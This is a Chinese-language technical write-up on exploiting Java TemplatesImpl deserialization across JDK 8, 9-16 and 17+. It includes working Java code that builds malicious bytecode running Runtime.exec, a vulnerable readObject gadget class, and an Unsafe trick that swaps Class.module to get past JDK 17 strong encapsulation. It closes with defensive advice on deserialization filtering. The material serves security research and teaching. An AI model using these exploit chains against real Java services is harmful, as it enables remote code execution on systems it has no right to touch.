JDK 17 TemplatesImpl ByPass 原理分析
字数 2925 2025-09-23 19:27:38

JDK 各版本下 TemplatesImpl 反序列化漏洞利用与 JDK 17 Bypass 原理深度剖析

1. 核心概念与背景

  • TemplatesImpl 类:位于 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,是 XSLT 转换功能的一部分。其 _bytecodes 字段可用于加载字节数组,并通过内部的 defineClass() 方法最终调用 ClassLoader.defineClass(),从而执行任意字节码。
  • 利用链关键点:反序列化漏洞利用链通常需要一个“sink”点(触发点)来调用 TemplatesImpl 对象的 newTransformer()getOutputProperties() 方法,后者会间接调用 newTransformer(),从而触发恶意类的加载和初始化。
  • JDK 模块化系统 (JPMS):从 JDK 9 开始引入,对内部 API 的访问进行了严格限制,这直接影响了传统利用 TemplatesImpl 的方式。限制的严格程度随版本升级而加剧:
    • JDK 8:无模块化,可自由访问。
    • JDK 9-16宽松的强封装。编译时访问受限,但运行时通过反射(setAccessible(true))仍可绕过。
    • JDK 17+强封装。默认情况下,即使使用反射,也无法访问未导出包中的类成员,除非使用特殊的 JVM 参数(--add-opens)。

2. JDK 8 环境下的利用 (无限制)

2.1 本地调用案例

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import java.lang.reflect.Field;

public class MainJDK8 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesImpl = getTemplatesImpl();
        templatesImpl.getOutputProperties(); // 触发点
    }

    public static byte[] getCalcBytes(String className) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass(className);
        // 关键:恶意类必须继承 AbstractTranslet
        ctClass.setSuperclass(pool.get("com.sun.org.apache.xal an.internal.xsltc.runtime.AbstractTranslet"));
        // 将恶意代码放入类的静态初始化块(<clinit>)
        ctClass.makeClassInitializer().setBody("{" +
                "try { Runtime.getRuntime().exec(\"calc\"); } " +
                "catch (Exception e) { throw new RuntimeException(e); }" +
                "}");
        return ctClass.toBytecode();
    }

    public static TemplatesImpl getTemplatesImpl() throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        Field name = templates.getClass().getDeclaredField("_name");
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");

        bytecodes.setAccessible(true);
        name.setAccessible(true);
        tfactory.setAccessible(true);

        byte[][] evilBytes = new byte[][]{getCalcBytes("com.Evil")};
        bytecodes.set(templates, evilBytes); // 注入恶意字节码
        name.set(templates, ""); // 名称不能为null
        tfactory.set(templates, new TransformerFactoryImpl()); // 必须设置 TransformerFactoryImpl

        return templates;
    }
}

关键点

  1. 恶意字节码必须继承 AbstractTranslet,否则在定义类时会抛出 ClassCastException
  2. 通过反射设置 _bytecodes, _name, _tfactory 字段。
  3. 调用 getOutputProperties()newTransformer() 来触发执行。

2.2 序列化利用案例

需要一个反序列化时能自动调用指定方法的“入口类”(gadget)。

// 漏洞入口类 (HoleBeanDemo.java)
import java.io.Serializable;
import java.lang.reflect.InvocationTargetException;

public class HoleBeanDemo implements Serializable {
    private static final long serialVersionUID = 1L;
    public Object obj;
    public String methodName;

    private void readObject(java.io.ObjectInputStream in) throws Exception {
        in.defaultReadObject();
        // 反序列化时自动调用 obj.methodName()
        obj.getClass().getDeclaredMethod(methodName).invoke(obj);
    }
}

// 生成Payload并序列化
HoleBeanDemo hole = new HoleBeanDemo();
hole.obj = getTemplatesImpl(); // 来自上面的方法
hole.methodName = "getOutputProperties";

// 序列化 hole 对象到文件...
// 当该文件被反序列化时,漏洞触发。

3. JDK 9-16 环境下的利用 (宽松的强封装)

3.1 变化与挑战

编译器无法直接找到 TemplatesImpl 等类(因为它们位于未导出的 java.xml 模块中),直接 new TemplatesImpl() 会导致编译错误。

3.2 绕过方法:完全反射

放弃直接引用,全程使用反射来创建和操作对象。

public class MainJDK9 {
    public static void main(String[] args) throws Exception {
        Object templatesImpl = getTemplatesImpl();
        // 使用反射调用 getOutputProperties
        templatesImpl.getClass().getDeclaredMethod("getOutputProperties").invoke(templatesImpl);
    }

    public static Object getTemplatesImpl() throws Exception {
        // 使用 Class.forName 加载类,这不受模块化限制
        Class<?> templatesImplClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Object templates = templatesImplClass.getDeclaredConstructor().newInstance();

        Class<?> tFactoryClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl");
        Object tFactory = tFactoryClass.getDeclaredConstructor().newInstance();

        // ... 剩余反射设置字段的代码与 JDK8 版本类似 ...
        // bytecodes.set(templates, evilBytes);
        // name.set(templates, "");
        // tfactory.set(templates, tFactory); // 注意这里也改用反射创建的实例

        return templates;
    }
}

关键点

  1. Class.forName() 不受影响:这是运行时动态加载,模块系统不会阻止。
  2. setAccessible(true) 仍然有效:在宽松强封装下,反射依然可以打破私有性限制。
  3. 序列化利用仍然有效,因为反序列化底层使用 ObjectInputStreamUnsafe 来还原对象状态,不依赖于直接的代码访问,只依赖于类名是否存在。

4. JDK 17+ 环境下的利用与Bypass (强封装)

4.1 核心挑战

在 JDK 17 中,即使使用反射,setAccessible(true) 也无法成功。尝试调用该方法对来自未开放(--add-opens)模块的字段会抛出 InaccessibleObjectException。这直接废掉了之前的反射方法。

4.2 Bypass 原理:修改模块关联

原文中提到了一种深度技巧:利用 Unsafe 直接修改 Class 对象的 module 字段

每个 Class 对象都有一个 Module 对象关联。模块系统的访问检查就是基于调用者类和被访问者类的模块关系。如果将被限制类的模块修改为更开放的模块(如 java.base 模块),就有可能绕过检查。

import sun.misc.Unsafe;
import java.lang.reflect.Field;

public class MainJDK17 {
    public static void main(String[] args) throws Exception {
        // 1. 在尝试访问TemplatesImpl之前,先修改当前类的模块
        changeModuleForClass(MainJDK17.class);

        // 2. 然后再进行JDK9那样的反射操作,此时setAccessible就可能成功
        Object templatesImpl = getTemplatesImpl();
        templatesImpl.getClass().getDeclaredMethod("getOutputProperties").invoke(templatesImpl);
    }

    public static Unsafe getUnsafe() throws Exception {
        Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
        theUnsafe.setAccessible(true);
        return (Unsafe) theUnsafe.get(null);
    }

    public static void changeModuleForClass(Class<?> clazz) throws Exception {
        Unsafe unsafe = getUnsafe();
        // 获取 Object.class 的模块(java.base 模块,非常开放)
        Module targetModule = Object.class.getModule();
        // 使用 Unsafe 直接修改 clazz 的 ‘module’ 字段
        unsafe.putObject(
                clazz,
                unsafe.objectFieldOffset(Class.class.getDeclaredField("module")),
                targetModule
        );
    }

    // getTemplatesImpl() 方法同 JDK9 版本
}

关键点

  1. Unsafe 的威力Unsafe 提供类似 C 语言指针的操作,可以无视 Java 语言的所有访问控制规则,直接操作内存中的对象。
  2. 修改模块关联:通过将当前主类的模块从“未命名模块”改为 java.base 模块,欺骗模块系统,使其认为后续的反射操作是由 java.base 模块发起的,从而通过了模块访问检查。
  3. 执行流程:先改模块,再反射。一旦模块被修改,后续的 setAccessible 和字段读写操作就不再受强封装的限制。

4.3 序列化利用的可行性

  • 这种 Bypass 方法主要用于生成Payload的阶段(即攻击者构造恶意序列化数据的时候)。
  • 如果目标反序列化流中存在一个可利用的“入口类”(如 HoleBeanDemo),并且该入口类在反序列化过程中能触发 TemplatesImpl.getOutputProperties(),那么攻击依然有效
  • 原因:反序列化过程在目标服务端进行,它只是还原了攻击者构造好的 TemplatesImpl 对象状态(_bytecodes 等)。只要目标环境的 JDK 中存在 TemplatesImpl 类及其依赖类(这些类一直存在),defineClass() 的底层机制就能正常工作,与如何生成这个对象无关。模块系统的限制作用于代码构建阶段,而非字节码加载执行阶段

5. 总结与关键点回顾

JDK 版本 核心限制 利用方法 关键技巧
JDK 8 直接引用 + 反射 恶意类继承 AbstractTranslet
JDK 9-16 编译时限制 全程反射 Class.forName() + setAccessible(true)
JDK 17+ 运行时反射限制 Unsafe修改模块 + 反射 Unsafe.putObject 修改 Class.module 字段
  1. 万变不离其宗:无论JDK版本如何变化,TemplatesImpl 利用的核心原理始终是利用其 _bytecodesdefineClass() 机制加载恶意字节码。
  2. 模块化的影响:模块化系统增加的是代码构建和访问的难度,而不是改变底层字节码加载的可行性。
  3. 反射是桥梁:在更高版本的JDK中,反射是操作内部API的唯一桥梁,但桥梁本身也被加上了锁(强封装)。
  4. 终极武器 Unsafe:当所有合法路径都被封锁时,Unsafe 这类“后门”提供了直接操作内存的底层能力,是许多高级Bypass技术的基石。
  5. 防御视角:单纯升级JDK版本至17+并不能完全免疫此类攻击。关键在于应用程序本身不应反序列化不可信的流。应使用类似 ObjectInputFilter(JEP 290)的机制对反序列化数据进行严格的白名单过滤。

:教学文档中提供的代码示例主要用于安全研究和理解漏洞原理,请勿用于非法用途。

JDK 各版本下 TemplatesImpl 反序列化漏洞利用与 JDK 17 Bypass 原理深度剖析 1. 核心概念与背景 TemplatesImpl 类 :位于 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl ,是 XSLT 转换功能的一部分。其 _bytecodes 字段可用于加载字节数组,并通过内部的 defineClass() 方法最终调用 ClassLoader.defineClass() ,从而执行任意字节码。 利用链关键点 :反序列化漏洞利用链通常需要一个“sink”点(触发点)来调用 TemplatesImpl 对象的 newTransformer() 或 getOutputProperties() 方法,后者会间接调用 newTransformer() ,从而触发恶意类的加载和初始化。 JDK 模块化系统 (JPMS) :从 JDK 9 开始引入,对内部 API 的访问进行了严格限制,这直接影响了传统利用 TemplatesImpl 的方式。限制的严格程度随版本升级而加剧: JDK 8 :无模块化,可自由访问。 JDK 9-16 : 宽松的强封装 。编译时访问受限,但运行时通过反射( setAccessible(true) )仍可绕过。 JDK 17+ : 强封装 。默认情况下,即使使用反射,也无法访问未导出包中的类成员,除非使用特殊的 JVM 参数( --add-opens )。 2. JDK 8 环境下的利用 (无限制) 2.1 本地调用案例 关键点 : 恶意字节码必须继承 AbstractTranslet ,否则在定义类时会抛出 ClassCastException 。 通过反射设置 _bytecodes , _name , _tfactory 字段。 调用 getOutputProperties() 或 newTransformer() 来触发执行。 2.2 序列化利用案例 需要一个反序列化时能自动调用指定方法的“入口类”(gadget)。 3. JDK 9-16 环境下的利用 (宽松的强封装) 3.1 变化与挑战 编译器无法直接找到 TemplatesImpl 等类(因为它们位于未导出的 java.xml 模块中),直接 new TemplatesImpl() 会导致编译错误。 3.2 绕过方法:完全反射 放弃直接引用,全程使用反射来创建和操作对象。 关键点 : Class.forName() 不受影响 :这是运行时动态加载,模块系统不会阻止。 setAccessible(true) 仍然有效 :在宽松强封装下,反射依然可以打破私有性限制。 序列化利用仍然有效,因为反序列化底层使用 ObjectInputStream 和 Unsafe 来还原对象状态,不依赖于直接的代码访问,只依赖于类名是否存在。 4. JDK 17+ 环境下的利用与Bypass (强封装) 4.1 核心挑战 在 JDK 17 中, 即使使用反射, setAccessible(true) 也无法成功 。尝试调用该方法对来自未开放( --add-opens )模块的字段会抛出 InaccessibleObjectException 。这直接废掉了之前的反射方法。 4.2 Bypass 原理:修改模块关联 原文中提到了一种深度技巧: 利用 Unsafe 直接修改 Class 对象的 module 字段 。 每个 Class 对象都有一个 Module 对象关联。模块系统的访问检查就是基于调用者类和被访问者类的模块关系。如果将被限制类的模块修改为更开放的模块(如 java.base 模块),就有可能绕过检查。 关键点 : Unsafe 的威力 : Unsafe 提供类似 C 语言指针的操作,可以无视 Java 语言的所有访问控制规则,直接操作内存中的对象。 修改模块关联 :通过将当前主类的模块从“未命名模块”改为 java.base 模块,欺骗模块系统,使其认为后续的反射操作是由 java.base 模块发起的,从而通过了模块访问检查。 执行流程 :先改模块,再反射。一旦模块被修改,后续的 setAccessible 和字段读写操作就不再受强封装的限制。 4.3 序列化利用的可行性 这种 Bypass 方法主要用于 生成Payload的阶段 (即攻击者构造恶意序列化数据的时候)。 如果目标反序列化流中存在一个可利用的“入口类”(如 HoleBeanDemo ),并且该入口类在反序列化过程中能触发 TemplatesImpl.getOutputProperties() ,那么 攻击依然有效 。 原因:反序列化过程在目标服务端进行,它只是还原了攻击者构造好的 TemplatesImpl 对象状态( _bytecodes 等)。只要目标环境的 JDK 中存在 TemplatesImpl 类及其依赖类(这些类一直存在), defineClass() 的底层机制就能正常工作,与如何生成这个对象无关。模块系统的限制作用于 代码构建阶段 ,而非 字节码加载执行阶段 。 5. 总结与关键点回顾 | JDK 版本 | 核心限制 | 利用方法 | 关键技巧 | | :--- | :--- | :--- | :--- | | JDK 8 | 无 | 直接引用 + 反射 | 恶意类继承 AbstractTranslet | | JDK 9-16 | 编译时限制 | 全程反射 | Class.forName() + setAccessible(true) | | JDK 17+ | 运行时反射限制 | Unsafe修改模块 + 反射 | Unsafe.putObject 修改 Class.module 字段 | 万变不离其宗 :无论JDK版本如何变化, TemplatesImpl 利用的 核心原理 始终是利用其 _bytecodes 和 defineClass() 机制加载恶意字节码。 模块化的影响 :模块化系统增加的是 代码构建和访问 的难度,而不是改变底层字节码加载的可行性。 反射是桥梁 :在更高版本的JDK中,反射是操作内部API的唯一桥梁,但桥梁本身也被加上了锁(强封装)。 终极武器 Unsafe :当所有合法路径都被封锁时, Unsafe 这类“后门”提供了直接操作内存的底层能力,是许多高级Bypass技术的基石。 防御视角 :单纯升级JDK版本至17+并不能完全免疫此类攻击。关键在于应用程序本身不应反序列化不可信的流。应使用类似 ObjectInputFilter (JEP 290)的机制对反序列化数据进行严格的白名单过滤。 注 :教学文档中提供的代码示例主要用于安全研究和理解漏洞原理,请勿用于非法用途。